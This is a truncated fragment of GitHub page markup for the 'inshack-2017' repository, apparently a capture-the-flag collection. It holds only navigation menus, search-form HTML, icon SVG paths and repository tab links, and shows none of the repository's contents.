viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="83088123" data-scoped-search-url="/HugoDelval/inshack-2017/search" data-owner-scoped-search-url="/users/HugoDelval/search" data-unscoped-search-url="/search" data-turbo="false" action="/HugoDelval/inshack-2017/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="P7errjL7Lor18BlQjt+az224P97muIq1SHx6lVm3DfoHIOFDXBEJDZnDhvaJ6RyOu+W3tXZEN1xxX2/d+PmapQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> HugoDelval </span> <span>/</span> inshack-2017 <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>12</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>19</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>1</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/HugoDelval/inshack-2017/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 